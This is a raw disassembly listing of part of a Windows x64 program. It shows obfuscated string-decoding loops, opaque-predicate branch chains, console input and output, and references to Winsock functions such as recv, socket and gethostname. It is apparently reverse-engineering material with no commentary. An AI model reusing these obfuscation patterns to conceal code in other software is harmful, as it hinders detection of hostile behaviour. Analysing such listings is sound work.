add dil, dl
sub r11b, 0x4b
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, dil
sub cl, al
add cl, 0xd
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0x150], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x1400927d3
lea rcx, [r10 + r12]
movzx r9d, dl
and dl, cl
add dl, dl
movzx edi, r9b
sub dil, dl
add dil, 0x23
add dil, cl
lea edx, [r10 - 0x71]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, 0x17
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x150], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 - 4]
movzx eax, r9b
and al, dl
mov ecx, select
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x150], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x150]
add rax, r8
add r10, rax
inc r10
jmp 0x1400927d3
lea rcx, [r10 + r15]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
add dil, 0xf
movzx eax, byte [rbp + r10 + 0x150]
add rax, r8
add r10, rax
inc r10
jmp 0x1400927d3
sub r10b, 0x5f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x67
jmp 0x1400927d0
sub r10b, 0x39
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x71
jmp 0x1400927c0
lea rcx, [rbp + 0x151268c]
jmp 0x140093172
lea rcx, [rbp + 0x8b4bf9]
jmp 0x140093172
lea rcx, [rbp + 0x150]
call fcn.140098cb0
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
movdqa xmm1, xmmword [0x14014a120]
movdqu xmmword [rbp + 0x210], xmm1
mov byte [rbp + 0x200], r14b
lea rdx, [rbp + 0x200]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400405a0
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0x1a8]
call fcn.140042920
mov rdx, rax
lea rcx, [0x1401de440]
call fcn.1400aeb70
xor eax, eax
movzx edi, byte [rbp + 0x1e8]
cmp byte [0x1401de650], al
jne 0x140093d62
mov rsi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rbp + 0x130], 0x87a97912
mov dword [rbp + 0x134], 0x949b99a5
mov word [rbp + 0x138], 0x615a
mov byte [rbp + 0x13a], 2
mov qword [rbp + 0x13b], rax
mov word [rbp + 0x143], ax
mov byte [rbp + 0x145], al
movabs r15, 0xc8c475e8dc6f74ac
movabs r12, 0xee8252fbfeb1a0c
movabs r13, 0x5a4d61ba954e5e04
nop
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
mov r10, r14
cmp r10, 0x16
jae 0x140093d2d
movzx r9d, byte [rbp + r10 + 0x130]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x140093d24
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14009329e
lea rcx, [r10 + r15]
movzx eax, dl
and al, cl
mov edi, 0x26
sub dil, al
add dil, dil
add dil, dl
add dil, cl
jmp 0x1400932d0
je 0x140093cb3
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140093c86
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140093c67
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140093c25
nop dword [rax + rax]
cmp r8, r10
ja 0x140093d1b
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x140093301
lea edx, [r10 + 0x1c]
movzx eax, dl
and al, r9b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140093342
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140093c0a
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140093be5
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140093bd7
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140093bbc
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140093b2b
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14009387b
nop
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14009385d
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140093835
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140093814
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x1400937f1
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400937e3
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x1400937c8
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400937b6
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14009379b
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14009376a
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140093350
lea rbx, [r8 + 0x41]
lea r8, [rbx + 6]
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140093cfe
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140093cde
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14009353b
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140093520
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140093501
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140093728
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x1400936e6
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x1400936a5
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14009367f
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140093350
lea rbx, [r8 + 0x61]
lea r8, [rbx + 4]
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x14009364e
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140093633
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140093621
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x140093606
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x1400935e5
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x1400935c2
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x1400935a1
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140093579
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14009355a
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x140093350
lea rbx, [r8 + 3]
lea r8, [rbx + 0x20]
jmp 0x140093350
lea edx, [r10 + 0x64]
movzx eax, dl
and al, r9b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140093342
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x54
jmp 0x1400932d0
lea edx, [r10 - 0x4c]
movzx eax, dl
and al, r9b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140093266
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
movzx edx, r10b
jmp 0x140093c3e
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140093253
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
dec r10
inc r10
jmp 0x140093253
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r9b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x140093ae1
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
add rbx, r8
jmp 0x140093c9a
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x18
jmp 0x140093c9a
lea edx, [r10 - 0x30]
mov ecx, 0x28
movzx r11d, r10b
jmp 0x140093b38
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x48
jmp 0x140093b75
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x130]
add rax, r8
add r10, rax
inc r10
jmp 0x140093253
lea ecx, [r10 - 0x3c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5c
mov byte [rbp + r10 + 0x130], dil
inc r10
jmp 0x140093253
lea edx, [r10 + 0x6c]
movzx eax, dl
and al, r9b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp r8, 0x20
jb 0x140093695
movzx edx, r10b
lea ecx, [rdx - 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea edi, [rcx*2 - 0x70]
jmp 0x140093c3e
lea edx, [r10 + 0x14]
movzx eax, dl
and al, r9b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp rbx, 4
jae 0x140093abb
lea rax, [r8 + 0x28]
cmp rbx, rax
jbe 0x140093a39
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r9b
mov ecx, 0x2c
jmp 0x1400936b4
lea ecx, [r10 - 0x44]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x24
lea rax, [r8 + rbx]
cmp rax, 6
je 0x140093b0e
lea rax, [r8 + 0x42]
cmp rbx, rax
jbe 0x140093958
lea edx, [r10 - 4]
movzx eax, dl
and al, r9b
mov ecx, select
jmp 0x1400936f5
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x130]
add rax, r8
add r10, rax
inc r10
jmp 0x140093253
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
jmp 0x140093b75
movzx r11d, r10b
lea edx, [r11 - 8]
mov ecx, 0x1c
jmp 0x140093b38
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
jmp 0x140093c9a
lea edx, [r10 + 0x48]
mov ecx, 4
jmp 0x140093c70
movzx r11d, r10b
lea edx, [r11 - 0x10]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140093ae1
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x28
dec r10
inc r10
jmp 0x140093253
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140093253
movzx edx, r10b
lea ecx, [rdx - 0x18]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x58
jmp 0x140093c3e
lea rax, [r8 + 0x64]
cmp rbx, rax
jae 0x1400938a3
lea edx, [r10 - 0x54]
movzx eax, dl
and al, r9b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14009373e
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400938dd
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r9b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x130]
add rax, r8
add r10, rax
inc r10
jmp 0x140093253
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140093905
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140093b75
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14009392d
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140093c9a
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14009373e
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x28
add rbx, r8
jmp 0x140093c9a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14009397f
movzx edx, r10b
lea ecx, [rdx + 0x54]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
jmp 0x140093c3e
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400939a9
lea ecx, [r10 + 4]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1c
dec r10
inc r10
jmp 0x140093253
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400939c0
lea edx, [r10 - 0x4c]
mov ecx, 0xa
jmp 0x140093c70
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400939e0
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
jmp 0x140093c96
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400939fb
movzx r11d, r10b
lea edx, [r11 + 0x64]
mov ecx, 0x22
jmp 0x140093b38
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140093700
lea edx, [r10 + 0x14]
movzx eax, dl
and al, r9b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x130]
add rax, r8
add r10, rax
inc r10
jmp 0x140093253
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140093a6f
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
movzx eax, byte [rbp + r10 + 0x130]
add rax, r8
add r10, rax
inc r10
jmp 0x140093253
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140093a8a
movzx r11d, r10b
lea edx, [r11 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
jmp 0x140093b38
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400936bf
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
dec r10
inc r10
jmp 0x140093253
movzx r11d, r10b
lea edx, [r11 - 0x20]
movzx eax, dl
and al, r9b
add al, al
movzx edi, byte [rbp + r10 + 0x130]
sub dil, al
sub dil, 0x20
add dil, r9b
add dil, dl
sub r11b, 0x74
movzx eax, r11b
and al, r9b
mov ecx, socket
sub cl, al
add cl, cl
add cl, r11b
add cl, dil
add cl, r9b
mov byte [rbp + r10 + 0x130], cl
add rbx, r8
jmp 0x140093c9a
movzx r11d, r10b
lea edx, [r11 + 0x38]
movzx eax, dl
and al, r9b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140093b49
movzx r11d, r10b
lea edx, [r11 - 0x7c]
mov ecx, 0x32
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
sub r11b, 0x1c
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x3c
add r11b, r9b
movzx eax, r11b
mov byte [rbp + r10 + 0x130], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 - 0x70]
movzx eax, r9b
and al, dl
mov ecx, 8
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x130], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x130]
add rax, r8
add r10, rax
inc r10
jmp 0x140093253
lea ecx, [r10 + 0x2c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x34
jmp 0x140093c9a
lea edx, [r10 - 0x2c]
mov ecx, 0x1a
jmp 0x140093c70
lea edx, [r10 + 0x24]
movzx eax, dl
and al, r9b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x140093253
movzx edx, r10b
lea ecx, [rdx + 0x74]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2c
jmp 0x140093c3e
movzx edx, r10b
lea ecx, [rdx - 0x3c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5c
add dl, 0x34
movzx eax, dl
and al, r9b
add al, al
sub dl, al
sub dl, 0x6c
add dl, r9b
mov byte [rbp + r10 + 0x130], dl
inc r8
dec r10
inc r10
jmp 0x140093253
lea edx, [r10 + 0x64]
mov ecx, 0x22
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x140093c9a
lea rcx, [r10 + r12]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x54
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140093253
lea rcx, [r10 + r13]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x1c
movzx eax, byte [rbp + r10 + 0x130]
add rax, r8
add r10, rax
inc r10
jmp 0x140093253
add r10b, 0x5c
movzx eax, r10b
and al, r9b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140093250
add r10b, 4
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x1c
jmp 0x140093240
lea rdx, [rbp + 0x16264c0]
jmp 0x140093d34
lea rdx, [rbp + 0x91d96c]
jmp 0x140093d34
lea rdx, [rbp + 0x130]
mov rcx, rsi
call fcn.140040810
mov rcx, rax
lea rdx, [0x1401de658]
call fcn.1400407f0
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov dword [rbp + 0x50], 0x1e7c1a50
mov dword [rbp + 0x54], 0x16290954
mov dword [rbp + 0x58], 0xe11490c
mov dword [rbp + 0x5c], 0x330b333e
mov dword [rbp + 0x60], 0x73d1c40
mov dword [rbp + 0x64], 0x34033931
mov dword [rbp + 0x68], 0x45e7957
mov dword [rbp + 0x6c], 0x606097c
mov dword [rbp + 0x70], 0xd2d7103
mov dword [rbp + 0x74], 0x27763037
mov dword [rbp + 0x78], 0x396a1b2d
mov dword [rbp + 0x7c], 0x2e1a1e29
mov dword [rbp + 0x80], 0x63631512
mov word [rbp + 0x84], 0x7f7e
mov byte [rbp + 0x86], 0x86
mov qword [rbp + 0x87], rax
mov dword [rbp + 0x8f], eax
mov word [rbp + 0x93], ax
mov byte [rbp + 0x95], al
movabs r15, 0x9d77312966d0b148
movabs r12, 0x8930ba749d563b88
movabs r13, 0xd865937c347213d8
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
nop dword [rax + rax]
mov r11, r14
cmp r11, 0x46
jae 0x14009492d
movzx r9d, byte [rbp + r11 + 0x50]
mov r10, r9
cmp rbx, r11
ja 0x140094924
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140093e62
lea rcx, [r11 + r15]
mov rax, r9
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
add dil, 8
jmp 0x140093e90
je 0x1400948ad
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14009487a
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140094855
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14009480e
nop
cmp r8, r11
ja 0x14009491b
lea rax, [r8 + 0xa]
cmp rbx, rax
jae 0x140093eba
lea ecx, [r11 - 0x18]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x58
jmp 0x140093ef0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400947ee
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400947cc
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400947ad
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140094723
nop
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140094435
nop dword [rax]
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140094412
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x1400943ea
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x1400943c8
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400944dc
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x1400943a9
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14009438e
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14009436f
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140094354
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14009432a
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140093f00
lea rbx, [r8 + 0x3e8]
lea r8, [rbx + 8]
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x1400948fb
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x1400948db
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x1400940ef
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x1400940d0
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x1400940b1
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x1400942d4
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140094284
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140094244
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140094221
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140093f00
lea rbx, [r8 + 0x64]
lea r8, [rbx + 4]
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x1400941f7
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x1400941dc
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x1400941bd
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x1400941a2
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14009418a
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140094167
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140094159
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140094131
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14009410e
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140093f00
lea rbx, [r8 + 0x28]
lea r8, [rbx + 1]
jmp 0x140093f00
lea edx, [r11 + 0x18]
movzx eax, dl
and al, r9b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140093ef0
lea edx, [r11 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140093e90
lea edx, [r11 - 8]
movzx eax, dl
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140093e33
lea edx, [r11 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r10d, r11b
jmp 0x140094828
lea edx, [r11 - 0x50]
movzx eax, dl
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x140093e23
lea edx, [r11 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14009485e
lea edx, [r11 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r10d, r11b
jmp 0x1400946df
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
add rbx, r8
jmp 0x140094894
lea ecx, [r11 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
jmp 0x140094894
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
movzx r10d, r11b
jmp 0x140094741
lea ecx, [r11 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
jmp 0x14009476c
lea ecx, [r11 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140093e23
lea ecx, [r11 + 0x58]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x68
mov byte [rbp + r11 + 0x50], dil
inc r11
jmp 0x140093e23
lea ecx, [r11 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x78
cmp r8, 0x42
jb 0x140094237
movzx r10d, r11b
lea ecx, [r10 - 0x50]
movzx eax, cl
and al, r9b
mov edx, 0x18
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x140094828
lea edx, [r11 + 0x38]
movzx eax, dl
and al, r9b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp rbx, 0x200
jae 0x1400946c0
lea rax, [r8 + 0x7a]
cmp rbx, rax
jbe 0x1400945e8
lea edx, [r11 + 0x10]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x70
add dil, dl
jmp 0x14009425a
lea edx, [r11 - 0x58]
movzx eax, r9b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0x1000
je 0x140094709
lea rax, [r8 + 0x2a]
cmp rbx, rax
jbe 0x1400944fc
lea edx, [r11 + 0x28]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x18
add dil, dl
jmp 0x14009429e
lea ecx, [r11 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140093e23
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
jmp 0x14009476c
movzx r10d, r11b
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
jmp 0x140094741
lea ecx, [r11 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
jmp 0x140094894
lea ecx, [r11 + 0x30]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x50
add rbx, r8
jmp 0x140094894
lea ecx, [r11 + 0x10]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x70
dec r11
inc r11
jmp 0x140093e23
lea ecx, [r11 + 0x80]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x80
inc r8
dec r11
inc r11
jmp 0x140093e23
movzx r10d, r11b
lea edx, [r10 - 0x10]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x140094828
lea rax, [r8 + 0x200]
cmp rbx, rax
jae 0x140094455
lea edx, [r11 + 0x48]
movzx eax, r9b
and al, dl
mov ecx, 4
jmp 0x1400942e3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14009448c
lea edx, [r11 - 0x30]
movzx eax, r9b
and al, dl
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r11 + 0x50]
add rax, r8
add r11, rax
inc r11
jmp 0x140093e23
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400944a7
movzx r10d, r11b
lea edx, [r10 - 0x10]
mov ecx, gethostname
jmp 0x140094730
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400944cf
lea ecx, [r11 + 0x10]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x70
add rbx, r8
jmp 0x140094894
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400942ee
movzx r10d, r11b
lea edx, [r10 - 0x60]
movzx eax, r9b
